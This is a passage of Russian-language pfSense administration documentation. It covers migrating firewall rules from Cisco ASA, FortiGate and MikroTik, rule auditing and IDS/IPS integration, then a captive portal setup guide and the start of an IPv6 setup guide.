 network-object host 10.0.1.10
 network-object host 10.0.1.11

object-group service WEBPORTS tcp
 port-object eq www
 port-object eq https

access-list INSIDE_IN extended permit tcp any object-group WEBSERVERS object-group WEBPORTS
access-group INSIDE_IN in interface inside
```

**pfSense - эквивалентная конфигурация:**

1. Создать алиас `WEBSERVERS` (тип Host): `10.0.1.10`, `10.0.1.11`
2. Создать алиас `WEBPORTS` (тип Port): `80`, `443`
3. Создать правило на вкладке LAN:

| Действие | Протокол | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|---|
| Pass | TCP | LAN net | WEBSERVERS | WEBPORTS | HTTP/HTTPS to web servers |

### Различия в обработке NAT

На Cisco ASA NAT и правила фильтрации (ACL) обрабатываются как связанные, но отдельные конструкции. Порядок обработки зависит от версии ASA и типа NAT (auto NAT, manual NAT, twice NAT). В pfSense NAT и правила файрвола обрабатываются последовательно:

1. Входящий пакет проходит через правила NAT (Destination NAT / Port Forward)
2. После трансляции адресов пакет оценивается правилами файрвола с уже транслированными адресами

Это означает, что в правилах файрвола pfSense необходимо указывать **транслированные** (внутренние) адреса назначения, а не публичные. Это отличие часто вызывает ошибки при миграции.

**Пример - port forward с фильтрацией:**

```
NAT:   WAN:443 -> 10.0.1.10:443
Rule:  Pass TCP * -> 10.0.1.10:443 (on WAN interface)
```

На Cisco ASA правило ACL ссылается на публичный адрес (если не используется `nat control`), в pfSense - на внутренний адрес сервера.

### Security Levels vs. правила интерфейсов

Cisco ASA присваивает каждому интерфейсу уровень безопасности (security level, 0--100). Трафик от интерфейса с более высоким уровнем безопасности к интерфейсу с более низким уровнем разрешён по умолчанию. Трафик в обратном направлении запрещён без явного ACL.

pfSense не поддерживает концепцию security levels. Каждый интерфейс обрабатывается независимо: разрешён только тот трафик, который явно указан в правилах (за исключением правила default allow на LAN, которое следует заменить после первоначальной настройки). Это упрощает модель безопасности, но требует создания явных правил для каждого направления трафика.

### Пошаговый план миграции с Cisco ASA

1. **Инвентаризация объектов** - выгрузить все object-groups командой `show running-config object-group` и создать соответствующие алиасы в pfSense
2. **Экспорт ACL** - выгрузить ACL командой `show access-list` и преобразовать каждый ACE в правило pfSense на соответствующем интерфейсе
3. **Проверка порядка** - убедиться, что порядок правил сохранён (first match wins на обеих платформах)
4. **NAT** - преобразовать конфигурацию NAT, учитывая различия в порядке обработки
5. **Тестирование** - проверить критичные потоки трафика, используя Diagnostics > Packet Capture и журналы файрвола
6. **Удаление правила default allow на LAN** - заменить его набором специфичных разрешений

## Миграция с FortiGate

FortiGate использует zone-based firewall с политиками безопасности (security policies), которые связывают зоны источника и назначения. pfSense применяет per-interface модель без зон. Миграция требует перепроектирования структуры правил с учётом этого различия.

### Соответствие терминологии

| FortiGate | pfSense | Примечания |
|---|---|---|
| Security Policy | Firewall Rule | Политика FortiGate содержит больше параметров (UTM-профили, расписание) |
| Address Object | Alias (Host / Network) | Функционально идентичны |
| Address Group | Alias (содержащий вложенные алиасы) | pfSense поддерживает вложенные алиасы |
| Service Object | Alias (Port) | Группы портов |
| Zone | Interface / Interface Group | pfSense не поддерживает зоны, используются интерфейсы |
| VDOM | Отдельный экземпляр pfSense | VDOM не имеет аналога - для изоляции требуется отдельная инсталляция |
| Security Profile (AV, IPS, Web Filter) | Пакеты: Suricata/Snort, pfBlockerNG, SquidGuard | Реализуется через дополнительные пакеты |
| Central NAT | Firewall > NAT | Аналогичная структура |
| FortiView | Status > Dashboard + pfSense logs | Ограниченная аналитика без дополнительных инструментов |

### Преобразование политик в правила

FortiGate политика определяет: зону источника, зону назначения, адреса, сервисы, действие, UTM-профили и расписание. В pfSense эквивалент - правило на вкладке интерфейса с указанием протокола, адресов и портов.

**FortiGate:**

```
config firewall policy
    edit 10
        set name "LAN to WAN Web"
        set srcintf "lan"
        set dstintf "wan1"
        set srcaddr "LAN_SUBNET"
        set dstaddr "all"
        set action accept
        set schedule "always"
        set service "HTTP" "HTTPS" "DNS"
        set utm-status enable
        set av-profile "default"
        set ips-sensor "default"
        set ssl-ssh-profile "certificate-inspection"
        set logtraffic all
    next
end
```

**pfSense - эквивалентная конфигурация:**

1. Создать алиас `WebAndDNS_Ports` (тип Port): `80`, `443`, `53`
2. Создать правило на вкладке LAN:

| Действие | Протокол | Источник | Назначение | Порт | Gateway | Описание |
|---|---|---|---|---|---|---|
| Pass | TCP/UDP | LAN net | * | WebAndDNS_Ports | * | LAN to WAN Web + DNS |

3. Установить пакеты Suricata или Snort для замены UTM-профилей (AV, IPS)
4. Установить SquidGuard или pfBlockerNG для веб-фильтрации

### Зоны FortiGate vs. интерфейсы pfSense

FortiGate позволяет объединять несколько интерфейсов в зону и создавать политики между зонами. В pfSense такая абстракция отсутствует. Варианты решения:

- **Interface Groups** - pfSense позволяет группировать интерфейсы и создавать общие правила для группы. Это наиболее близкий аналог зон, но с ограничениями: правила группы обрабатываются до правил отдельных интерфейсов и не могут быть переопределены на уровне интерфейса.
- **Floating Rules** - позволяют применять одно правило к нескольким интерфейсам. Подходят для глобальных политик (например, блокировка определённых протоколов на всех интерфейсах).

### VDOM и мультитенантность

FortiGate поддерживает Virtual Domains (VDOM) - виртуальные экземпляры файрвола в рамках одного устройства. Каждый VDOM имеет собственные интерфейсы, таблицу маршрутизации, политики и административный доступ.

pfSense не поддерживает аналог VDOM. Для мультитенантных сценариев необходимо использовать:

- Отдельные экземпляры pfSense (физические или виртуальные)
- Разделение через VLAN и отдельные наборы правил для каждого VLAN-интерфейса (ограниченная изоляция, единая таблица маршрутизации)

### Security Profiles и их аналоги в pfSense

FortiGate предлагает интегрированные профили безопасности (UTM), которые применяются непосредственно в политике. pfSense реализует аналогичную функциональность через отдельные пакеты:

| Функция FortiGate | Пакет pfSense | Особенности |
|---|---|---|
| Antivirus Profile | ClamAV (через Squid) | Сканирование HTTP-трафика через прокси |
| IPS Sensor | Suricata / Snort | Полноценный IDS/IPS, требует настройки правил |
| Web Filter | SquidGuard / pfBlockerNG-devel | Фильтрация по категориям и спискам |
| Application Control | Suricata (Application Layer rules) | Ограниченная поддержка по сравнению с FortiGate |
| SSL Inspection | Squid (SSL Bump) | Требует установки корневого сертификата на клиентах |
| DNS Filter | pfBlockerNG-devel (DNSBL) | Блокировка по DNS-спискам |

> **Внимание**:
>
> UTM-функции FortiGate глубоко интегрированы в обработку политик и работают на аппаратном уровне (ASIC). Пакеты pfSense выполняются программно и требуют дополнительных ресурсов CPU/RAM. При миграции высоконагруженных инсталляций необходимо проводить нагрузочное тестирование.

### Пошаговый план миграции с FortiGate

1. **Экспорт конфигурации** - выгрузить полную конфигурацию через `execute backup full-config`
2. **Маппинг зон на интерфейсы** - определить, какие интерфейсы pfSense соответствуют зонам FortiGate; при необходимости использовать Interface Groups
3. **Создание алиасов** - преобразовать Address Objects и Address Groups в алиасы pfSense
4. **Создание правил** - преобразовать каждую Security Policy в правило pfSense на соответствующем интерфейсе
5. **Установка пакетов безопасности** - установить Suricata/Snort, pfBlockerNG и другие пакеты для замены UTM-профилей
6. **Миграция NAT** - преобразовать VIP и Central NAT в Port Forward и Outbound NAT
7. **Тестирование** - проверить все потоки трафика, особенно межзонные, которые в pfSense реализованы через правила на нескольких интерфейсах

## Миграция с MikroTik RouterOS

MikroTik RouterOS использует цепочки (chains) для организации правил фильтрации, NAT и манипуляции пакетами. Модель существенно отличается от pfSense: в RouterOS администратор работает с таблицами filter, NAT и mangle, каждая из которых содержит цепочки (input, forward, output). В pfSense все правила привязаны к интерфейсам и обрабатываются на входе.

### Соответствие терминологии

| MikroTik RouterOS | pfSense | Примечания |
|---|---|---|
| `/ip firewall filter` | Firewall > Rules | Основные правила фильтрации |
| Chain: input | Правила интерфейса (к самому pfSense) | Фильтрация трафика к самому устройству |
| Chain: forward | Правила интерфейса (транзитный трафик) | В pfSense нет разделения input/forward - все правила на вкладке интерфейса |
| Chain: output | Floating Rules (outbound) | Исходящий трафик от pfSense фильтруется через floating rules |
| Address List | Alias | Функционально идентичны |
| `/ip firewall nat` | Firewall > NAT | Разделяется на Port Forward и Outbound NAT |
| `/ip firewall mangle` | Нет прямого аналога | Частично заменяется floating rules с DSCP/Queue |
| Connection Tracking | State Table | pf использует state table аналогично conntrack |
| Action: jump (custom chain) | Нет аналога | pfSense не поддерживает пользовательские цепочки |
| Default policy: accept | Default policy: deny | Критическое различие при миграции |

### Критическое различие: default policy

> **Внимание**:
>
> MikroTik RouterOS по умолчанию разрешает весь трафик (default accept). pfSense по умолчанию запрещает весь трафик (default deny) на всех интерфейсах, кроме LAN (где создаётся начальное правило allow all). При миграции необходимо убедиться, что все необходимые разрешения созданы явно, иначе трафик будет заблокирован.

### Преобразование цепочек в правила интерфейсов

В MikroTik правила распределены по цепочкам (input, forward, output). В pfSense все правила находятся на вкладках интерфейсов. Принцип маппинга:

**MikroTik - filter/forward:**

```
/ip firewall filter
add chain=forward src-address=192.168.1.0/24 dst-address=10.0.0.0/24 \
    dst-port=80,443 protocol=tcp action=accept comment="LAN to DMZ web"
add chain=forward src-address=192.168.1.0/24 dst-address=0.0.0.0/0 \
    dst-port=53 protocol=udp action=accept comment="LAN DNS"
add chain=forward src-address=192.168.1.0/24 action=drop \
    comment="Block all other LAN forward"
```

**pfSense - правила на вкладке LAN:**

| # | Действие | Протокол | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|---|---|
| 1 | Pass | TCP | 192.168.1.0/24 | DMZ_SERVERS | 80, 443 | LAN to DMZ web |
| 2 | Pass | UDP | 192.168.1.0/24 | * | 53 | LAN DNS |
| 3 | Block | * | 192.168.1.0/24 | * | * | Block all other LAN |

### Address Lists vs. алиасы

MikroTik Address Lists и pfSense алиасы выполняют одну и ту же функцию - группировку адресов для использования в правилах. Основные различия:

| Характеристика | MikroTik Address List | pfSense Alias |
|---|---|---|
| Динамическое добавление | Да (action=add-src-to-address-list) | Нет (только через URL Table) |
| Timeout (TTL записи) | Да (timeout=1h) | Нет |
| Вложенные списки | Нет | Да (алиас может ссылаться на другие алиасы) |
| URL-источники | Нет (только scripting) | Да (URL Table, обновление по расписанию) |
| FQDN | Нет (только через scripting) | Да (автоматическое разрешение DNS) |

Динамическое добавление адресов через action=add-src-to-address-list (например, для автоматической блокировки сканеров) не имеет прямого аналога в pfSense. Аналогичная функциональность реализуется через пакеты:

- **pfBlockerNG** - автоматическая блокировка по IP-спискам и GeoIP
- **Suricata/Snort** - автоматическая блокировка при обнаружении атак

### NAT: RouterOS vs. pfSense

MikroTik объединяет все типы NAT в одной таблице `/ip firewall nat` с разделением по цепочкам srcnat и dstnat. pfSense разделяет NAT на три раздела:

| MikroTik NAT | pfSense NAT | Описание |
|---|---|---|
| `chain=srcnat action=masquerade` | Outbound NAT (Automatic) | Маскарадинг для исходящего трафика |
| `chain=srcnat action=src-nat` | Outbound NAT (Manual) | Статический Source NAT |
| `chain=dstnat action=dst-nat` | Port Forward | Перенаправление входящих соединений |
| `chain=dstnat action=redirect` | Port Forward (redirect) | Перенаправление на localhost |

В MikroTik правила NAT и filter - отдельные таблицы, обрабатываемые независимо. В pfSense при создании Port Forward автоматически создаётся связанное правило файрвола (если не отключено). При миграции следует проверить, что для каждого dstnat-правила существует соответствующее разрешающее правило в pfSense.

### Mangle и расширенная обработка пакетов

Таблица mangle в MikroTik используется для маркировки пакетов, соединений и маршрутов, а также для изменения полей заголовков (TTL, DSCP, TOS). pfSense не имеет прямого аналога mangle. Частичная замена:

| Функция mangle | Решение в pfSense |
|---|---|
| Connection mark + policy routing | Floating rules с указанием Gateway |
| DSCP marking | Floating rules с limiter (traffic shaping) |
| Packet mark для QoS | Traffic Shaper (ALTQ или Limiters) |
| Change MSS | System > Advanced > Firewall/NAT > MSS Clamping |
| Route mark (PBR) | Policy Routing через multiple gateways |

### Connection Tracking

MikroTik RouterOS использует модуль connection tracking (conntrack) с явными matcher'ами состояний:

```
/ip firewall filter
add chain=forward connection-state=established,related action=accept
add chain=forward connection-state=invalid action=drop
```

В pfSense state table управляется автоматически: каждое разрешающее правило создаёт запись в таблице состояний, и ответный трафик пропускается без явных правил. Явное правило для established/related не требуется. Однако рекомендуется включить опцию `Scrub` (System > Advanced > Firewall/NAT) для отбрасывания фрагментированных и некорректных пакетов.

### Пошаговый план миграции с MikroTik

1. **Экспорт конфигурации** - выполнить `/export` для получения текстовой конфигурации
2. **Инвентаризация Address Lists** - преобразовать в алиасы pfSense
3. **Маппинг цепочек**:
   - `chain=input` - правила на интерфейсах для доступа к pfSense (WebGUI, SSH, DNS)
   - `chain=forward` - правила на интерфейсах для транзитного трафика
   - `chain=output` - floating rules (при необходимости)
4. **Удаление правил conntrack** - в pfSense established/related обрабатывается автоматически
5. **Преобразование NAT** - разделить srcnat и dstnat на Outbound NAT и Port Forward
6. **Замена mangle** - определить, какие функции mangle необходимы, и реализовать через floating rules, traffic shaper или system settings
7. **Проверка default policy** - убедиться, что все разрешения созданы явно (pfSense = default deny)
8. **Тестирование** - проверить все потоки трафика; особое внимание - правилам, которые в MikroTik работали через custom chains (jump), так как pfSense не поддерживает эту конструкцию

## Аудит правил

Регулярный аудит правил файрвола - обязательная практика для поддержания безопасности и соответствия нормативным требованиям. Без аудита набор правил деградирует: накапливаются устаревшие разрешения, теряется логика организации, растёт поверхность атаки.

### Счётчики срабатываний

pfSense отображает количество срабатываний (hit counters) для каждого правила в списке правил интерфейса. Счётчики позволяют:

- Выявить правила с нулевым счётчиком - потенциальные кандидаты на удаление
- Определить наиболее нагруженные правила для оптимизации их позиции (перемещение выше для ускорения обработки)
- Обнаружить аномалии - резкое увеличение срабатываний может указывать на атаку или изменение в сетевой инфраструктуре

> **Внимание**:
>
> Счётчики сбрасываются при перезагрузке pfSense и при применении изменений в правилах файрвола. Для долгосрочного анализа необходимо использовать внешние системы сбора логов.

### Выявление неиспользуемых правил

Процедура выявления неиспользуемых правил:

1. Сбросить счётчики всех правил: **Diagnostics > pfTop > Reset States**
2. Дождаться полного бизнес-цикла (минимум 30 дней для типичной организации, чтобы учесть ежемесячные процессы)
3. Проверить счётчики: правила с нулевым значением - кандидаты на удаление
4. Перед удалением изменить действие правила на Block с журналированием и выждать дополнительный период
5. Если блокировка не вызвала инцидентов - удалить правило

### Регулярность аудита

| Тип сети | Рекомендуемая периодичность |
|---|---|
| Стабильная инфраструктура, малые изменения | Каждые 6 месяцев |
| Динамичная среда, частые изменения | Ежемесячно |
| Сеть в процессе миграции | Еженедельно |
| Соответствие PCI DSS (Requirement 1.1.7) | Каждые 6 месяцев (минимум) |

### Соответствие нормативным требованиям

#### PCI DSS

PCI DSS Requirement 1 требует:

- Документирования всех разрешённых сервисов, протоколов и портов с обоснованием (1.1.6)
- Пересмотра правил файрвола и маршрутизатора не реже чем раз в шесть месяцев (1.1.7)
- Запрета прямого публичного доступа к среде данных держателей карт (1.3)
- Установки персональных файрволов на всех мобильных и принадлежащих сотрудникам устройствах (1.4)

Для выполнения Requirement 1.1.7 необходимо:

- Вести реестр правил с описанием назначения каждого правила
- Фиксировать дату последнего пересмотра
- Хранить результаты аудита в виде документированного отчёта

#### CIS Benchmarks

CIS Critical Security Controls (v8) включают:

- Control 4.4: Implement and Manage a Firewall on Servers - обязательна фильтрация на уровне серверов
- Control 4.5: Implement and Manage a Firewall on End-User Devices - фильтрация на конечных устройствах
- Control 13.4: Perform Traffic Filtering Between Network Segments - сегментация с контролем трафика

pfSense обеспечивает реализацию этих контролей через VLAN-сегментацию и правила файрвола на каждом интерфейсе.

### Чеклист аудита

```
[ ] Все правила имеют описание
[ ] Нет правил any/any (кроме обоснованных исключений)
[ ] Нет правил с нулевым счётчиком старше 90 дней
[ ] Временные правила удалены или продлены с обоснованием
[ ] Алиасы актуальны (не содержат адреса удалённых серверов)
[ ] Журналирование включено для правил блокировки
[ ] Egress-фильтрация настроена
[ ] Правило default deny присутствует явно (с логированием)
[ ] Разделители актуализированы
[ ] Результаты аудита задокументированы
```

## Интеграция с IDS/IPS

pfSense поддерживает установку систем обнаружения и предотвращения вторжений (IDS/IPS) через дополнительные пакеты - Suricata и Snort. Эти системы анализируют содержимое трафика на уровне приложений и дополняют правила файрвола, которые работают на сетевом и транспортном уровнях.

### Взаимодействие IDS/IPS и файрвола

Правила файрвола и IDS/IPS работают на разных этапах обработки пакета:

1. **Файрвол (pf)** - принимает решение Pass/Block на основании заголовков пакета (IP, порт, протокол)
2. **IDS/IPS (Suricata/Snort)** - анализирует содержимое (payload) трафика, прошедшего через файрвол

Если файрвол заблокировал пакет, IDS/IPS его не видит. Это означает, что IDS/IPS защищает только от угроз в разрешённом трафике - например, эксплойты в HTTP-запросах, SQL-инъекции, вредоносные DNS-запросы.

### Автоматическая блокировка

Suricata и Snort в режиме IPS могут автоматически блокировать трафик при обнаружении угрозы. Механизм блокировки:

- Suricata/Snort добавляет IP-адрес атакующего в таблицу snort2c
- pf проверяет таблицу snort2c до обработки правил файрвола
- Все пакеты от заблокированного IP отбрасываются до истечения timeout

Администратор управляет параметрами блокировки: длительность бана, белые списки (pass lists), категории правил.

### Интеграция с Wazuh

Для централизованного мониторинга событий файрвола и IDS/IPS рекомендуется интеграция pfSense с Wazuh. Wazuh собирает журналы pfSense (filterlog, Suricata/Snort alerts), коррелирует события и генерирует оповещения. Подробная инструкция по настройке приведена в разделе [интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/).

## Связанные разделы

- [Правила файрвола pfSense]() - создание и управление правилами, иерархия обработки, floating rules
- [Алиасы pfSense]() - группировка адресов, сетей и портов для упрощения правил
- [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/) - мониторинг событий безопасности pfSense в SIEM


---

# Настройка Captive Portal в pfSense - полное руководство

Source: https://opennix.org/docs/pfsense/captive-portal/pfsense-captive-portal-setup/


Captive Portal обеспечивает принудительную авторизацию пользователей перед предоставлением доступа к сети. В данном руководстве рассматривается полный цикл настройки: от создания зоны и выбора метода аутентификации до кастомизации страницы портала, настройки ограничений полосы пропускания и устранения типичных проблем. Перед началом настройки убедитесь, что интерфейс, на котором будет работать портал, уже сконфигурирован и имеет назначенный IP-адрес. Для работы с [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) интерфейс VLAN также должен быть предварительно создан и назначен.

## Зоны Captive Portal

Зона определяет набор интерфейсов, на которых действует портал авторизации, и объединяет все связанные настройки: метод аутентификации, страницу портала, таймауты, ограничения трафика и списки разрешённых адресов. Каждая зона функционирует независимо.

### Создание зоны

Для создания новой зоны перейдите в **Services > Captive Portal** и нажмите **Add**. Укажите имя зоны (допускаются латинские буквы, цифры и символ подчёркивания) и описание, затем нажмите **Save & Continue**. После сохранения откроется страница конфигурации зоны.

### Привязка интерфейсов

В поле **Interface** выберите один или несколько интерфейсов, на которых будет работать портал. Один интерфейс не может принадлежать нескольким зонам одновременно. При использовании [мостовых интерфейсов](/docs/pfsense/bridging/pfsense-bridge-setup/) в качестве интерфейса зоны необходимо указывать сам мост (bridge), а не его участников.

## Методы аутентификации

pfSense предоставляет несколько способов аутентификации пользователей на портале.

### Аутентификация через бэкенд

При выборе метода **Use authentication backend** система проверяет учётные данные через настроенный источник аутентификации: локальную базу пользователей pfSense, сервер LDAP или сервер RADIUS. Пользователь вводит логин и пароль на странице портала, и система выполняет проверку через выбранный бэкенд.

Для настройки RADIUS-сервера перейдите в **System > User Manager > Authentication Servers** и создайте запись типа RADIUS с указанием адреса сервера, порта, общего секрета и протокола (PAP, CHAP или MS-CHAPv2). После этого выберите созданный сервер в настройках зоны Captive Portal.

### Ваучеры

Система ваучеров позволяет генерировать одноразовые коды доступа с заданным временем действия. Это удобно для гостевых сетей отелей, конференций и публичных точек доступа, где необходимо предоставить временный доступ без создания учётных записей.

Для активации ваучеров перейдите на вкладку **Vouchers** в настройках зоны. Система генерирует RSA-ключи для подписи ваучеров, что предотвращает создание поддельных кодов. Настройте параметры:

- **Roll** - пакет ваучеров с уникальным номером
- **Count** - количество ваучеров в пакете
- **Minutes per ticket** - время действия каждого ваучера

Сгенерированные ваучеры можно экспортировать в CSV для печати или распространения.

### Без аутентификации (click-through)

При выборе метода **None** пользователю достаточно открыть страницу портала и нажать кнопку подтверждения. Этот режим подходит для сценариев, где требуется только принятие условий использования без ввода учётных данных.

### RADIUS MAC Authentication

Режим отправляет MAC-адрес клиента в качестве имени пользователя и настроенный секрет в качестве пароля на RADIUS-сервер. Это позволяет реализовать автоматическую авторизацию устройств на основе их MAC-адресов без участия пользователя.

## Управление сессиями

### Таймауты

- **Idle timeout** - время бездействия в минутах, после которого клиент будет отключён. Бездействием считается отсутствие сетевого трафика от клиента
- **Hard timeout** - максимальная продолжительность сессии в минутах, после которой клиент отключается независимо от активности

### Квоты трафика

Поле **Traffic Quota** позволяет задать максимальный объём переданных данных (загрузка и отдача суммарно), при превышении которого клиент отключается от сети. Квота учитывается в мегабайтах.

### Одновременные подключения

Параметр **Concurrent user logins** определяет поведение при повторной авторизации:

| Значение | Поведение |
|---|---|
| Multiple | Неограниченное количество одновременных сессий (по умолчанию) |
| Last Login | Разрешает только последнюю сессию, предыдущие отключаются |
| First Login | Запрещает повторную авторизацию до завершения текущей сессии |
| Disabled | Множественные подключения запрещены |

Максимальное количество одновременных подключений с одного IP-адреса по умолчанию ограничено четырьмя соединениями для предотвращения исчерпания ресурсов.

## Ограничение полосы пропускания

Поля **Default download speed** и **Default upload speed** задают ограничение скорости в килобитах в секунду для каждого авторизованного клиента. Значение 0 или пустое поле означает отсутствие ограничения.

При использовании RADIUS-сервера индивидуальные ограничения можно задавать через атрибуты ответа:

- `pfSense-Bandwidth-Max-Down` - максимальная скорость загрузки
- `pfSense-Bandwidth-Max-Up` - максимальная скорость отдачи
- `pfSense-Max-Total-Octets` - квота общего объёма трафика

Атрибуты RADIUS имеют приоритет над настройками зоны, что позволяет назначать различные тарифные планы на уровне сервера аутентификации.

## MAC Passthrough

MAC passthrough позволяет устройствам проходить через портал без повторной авторизации на основе ранее зарегистрированного MAC-адреса.

### Автоматическое добавление

При включении параметра **Pass-through MAC Auto Entry** MAC-адрес клиента автоматически добавляется в список разрешённых после успешной аутентификации. Опция **Automatic addition with username** сохраняет имя пользователя вместе с MAC-адресом для аудита.

### Ручное управление

Вкладка **MACs** позволяет вручную добавлять MAC-адреса с указанием действия: **Pass** (пропускать без авторизации) или **Block** (блокировать полностью). Ручные записи полезны для принтеров, IP-телефонов и других устройств, не способных пройти веб-авторизацию.

### Ограничения MAC-фильтрации

Если между клиентом и интерфейсом pfSense находится маршрутизатор (а не коммутатор), MAC-адрес клиента заменяется MAC-адресом промежуточного маршрутизатора. В этом случае MAC-фильтрацию следует отключить, так как все клиенты за маршрутизатором будут иметь одинаковый MAC-адрес.

## Pass-through Credits

Механизм кредитов позволяет пропускать определённое количество подключений без аутентификации:

- **Credits allowed per MAC** - количество бесплатных подключений
- **Waiting period** - период восстановления кредитов в часах
- **Reset on attempted access** - предотвращает восстановление кредитов при повторных попытках

## HTTPS-портал

По умолчанию портал работает по HTTP. Для включения HTTPS:

1. Перейдите в **System > Cert Manager** и создайте или импортируйте SSL-сертификат
2. В настройках зоны установите флаг **Login - HTTPS**
3. Укажите **HTTPS server name** - полное доменное имя (FQDN), соответствующее Common Name сертификата
4. Выберите SSL-сертификат в поле **SSL Certificate**

Параметр **Disable HTTPS Forwards** отключает перенаправление запросов с порта 443. Это рекомендуется включить, так как перенаправление HTTPS-запросов вызывает предупреждения о несоответствии сертификата в браузере клиента.

## Кастомизация страницы портала

### Стандартная кастомизация

Базовые параметры оформления доступны непосредственно в настройках зоны:

- **Custom Logo** - логотип организации, отображаемый на странице авторизации
- **Custom Background** - фоновое изображение страницы портала
- **Terms and Conditions** - текст условий использования, который пользователь должен принять

### HTML-шаблоны

Для полного контроля над внешним видом портала можно загрузить собственные HTML-страницы:

- **Portal page** - основная страница авторизации
- **Error page** - страница ошибки аутентификации
- **Logout page** - страница подтверждения выхода

HTML-шаблоны поддерживают PHP-код для динамического контента. Файлы изображений, CSS и JavaScript загружаются через **File Manager** в настройках зоны.

### Разрешённые IP-адреса и хосты

Вкладки **Allowed IP Addresses** и **Allowed Hostnames** позволяют указать адреса и доменные имена, доступные клиентам до прохождения авторизации. Это необходимо для доступа к внешним ресурсам аутентификации, DNS-серверам, серверам обновлений и другим критически важным сервисам.

## Интеграция с RADIUS Accounting

При использовании RADIUS-сервера pfSense поддерживает отправку accounting-сообщений:

- **Accounting Start** - при успешной авторизации клиента
- **Accounting Stop** - при завершении сессии (таймаут, отключение, превышение квоты)
- **Interim Updates** - периодические обновления статуса сессии

Для настройки укажите сервер учёта в параметрах RADIUS зоны. Параметр **NAS Identifier** позволяет задать идентификатор устройства, отправляемый в RADIUS-запросах, что упрощает идентификацию источника в журналах сервера аутентификации.

Опция **Reauthentication** отправляет запрос проверки доступа каждую минуту. Если RADIUS-сервер отклоняет запрос, клиент отключается. Это полезно для сценариев, когда администратор RADIUS-сервера должен иметь возможность немедленно прекратить доступ пользователя.

## Устранение неполадок

### Портал не появляется

- Убедитесь, что зона включена (флаг **Enable** установлен)
- Проверьте, что интерфейс зоны соответствует интерфейсу, к которому подключен клиент
- Убедитесь, что на интерфейсе настроены [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/), разрешающие DNS-трафик (порт 53)
- Проверьте, что клиент получает IP-адрес из правильной подсети
- При использовании bridge убедитесь, что зона привязана к интерфейсу моста, а не к участникам

### Проблемы с перенаправлением

- Если клиент не перенаправляется автоматически, попробуйте открыть любой HTTP-сайт (не HTTPS)
- HTTPS-сайты не могут быть перехвачены и перенаправлены из-за TLS - это ограничение протокола, а не pfSense
- Проверьте, что DNS-сервер, используемый клиентом, доступен до авторизации
- Убедитесь, что клиент использует DNS-сервер pfSense, а не сторонний

### Предупреждения HTTPS

Предупреждения о сертификате при перенаправлении HTTPS-запросов являются ожидаемым поведением. Сертификат портала не может соответствовать домену, к которому обращался клиент. Включите **Disable HTTPS Forwards** для предотвращения перенаправления HTTPS-трафика.

### RADIUS не отвечает

- Проверьте доступность RADIUS-сервера командой `ping` или `radtest`
- Убедитесь в совпадении общего секрета (shared secret) на pfSense и RADIUS-сервере
- Проверьте [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - порты 1812 (аутентификация) и 1813 (учёт) должны быть открыты
- Проверьте журналы RADIUS-сервера на предмет отклонённых запросов
- Убедитесь, что IP-адрес pfSense добавлен в список разрешённых клиентов на RADIUS-сервере

### Клиент авторизован, но нет доступа в интернет

- Проверьте правила файрвола на интерфейсе зоны - должно быть разрешающее правило для авторизованных клиентов
- Убедитесь, что [NAT](/docs/pfsense/nat/pfsense-port-forwarding/) настроен корректно для подсети портала
- Проверьте таблицу состояний в **Diagnostics > States** на наличие записей для клиента


---

# Настройка IPv6 в pfSense - полное руководство

Source: https://opennix.org/docs/pfsense/ipv6/pfsense-ipv6-setup/


IPv6 в pfSense работает параллельно с IPv4 в режиме dual-stack: оба протокола функционируют одновременно на одних и тех же интерфейсах. Настройка IPv6 включает три основных этапа: конфигурацию WAN-интерфейса для получения IPv6-адреса и префикса от провайдера, настройку LAN-интерфейса для раздачи адресов клиентам и создание правил файрвола для IPv6-трафика.

Перед началом настройки убедитесь, что ваш интернет-провайдер предоставляет IPv6-подключение и вы знаете тип подключения (native DHCPv6, PPPoE с IPv6, туннель). Проверьте также, что IPv6 не отключен глобально в pfSense: System - Advanced - Networking, опция **Allow IPv6** должна быть включена.

## Типы WAN-подключений IPv6

### Static IPv6

Используется при получении фиксированного IPv6-адреса и префикса от провайдера. Настройка:

1. Перейдите в **Interfaces - WAN**
2. В разделе **IPv6 Configuration Type** выберите **Static IPv6**
3. Укажите:
   - **IPv6 Address** - адрес WAN-интерфейса (например, 2001:db8::2/64)
   - **IPv6 Upstream Gateway** - адрес шлюза провайдера (например, 2001:db8::1)
4. Сохраните и примените изменения

Статическая конфигурация подходит для серверных площадок и организаций с выделенным IPv6-префиксом (/48 или /56).

### DHCPv6

Наиболее распространенный тип подключения для домашних и корпоративных пользователей. pfSense запрашивает IPv6-адрес и делегированный префикс через DHCPv6:

1. Перейдите в **Interfaces - WAN**
2. В разделе **IPv6 Configuration Type** выберите **DHCPv6**
3. Настройте параметры DHCPv6:
   - **DHCPv6 Prefix Delegation size** - размер запрашиваемого префикса. Типичные значения: /56 (256 подсетей /64), /60 (16 подсетей /64), /64 (одна подсеть). Установите значение, соответствующее предложению вашего провайдера
   - **Send IPv6 prefix hint** - включите, чтобы запросить конкретный размер префикса
   - **Do not wait for a RA** - включите, если провайдер не отправляет Router Advertisement перед DHCPv6

> **Важно**: размер Prefix Delegation должен точно совпадать с тем, что выделяет провайдер. Если провайдер выделяет /56, а вы запрашиваете /48 - делегация не произойдет. При неизвестном размере попробуйте /64, затем /60 и /56.

### SLAAC

Stateless Address Autoconfiguration - pfSense формирует IPv6-адрес на основе Router Advertisement от вышестоящего маршрутизатора:

1. Перейдите в **Interfaces - WAN**
2. В разделе **IPv6 Configuration Type** выберите **SLAAC**

SLAAC не поддерживает prefix delegation, поэтому LAN-клиенты не получат глобальные IPv6-адреса автоматически. SLAAC на WAN подходит для сценариев, когда pfSense является конечным устройством, а не маршрутизатором IPv6.

### 6to4

Механизм туннелирования IPv6 через IPv4. Используется при отсутствии нативного IPv6 у провайдера:

1. Перейдите в **Interfaces - WAN**
2. В разделе **IPv6 Configuration Type** выберите **6to4 Tunnel**

pfSense автоматически сформирует IPv6-адрес на основе WAN IPv4-адреса. Префикс 2002::/16 зарезервирован для 6to4.

> **Ограничение**: 6to4 считается устаревшим механизмом (RFC 7526). Производительность зависит от ближайшего 6to4-реле и может быть нестабильной. Используйте tunnel broker как более надежную альтернативу.

### 6rd (IPv6 Rapid Deployment)

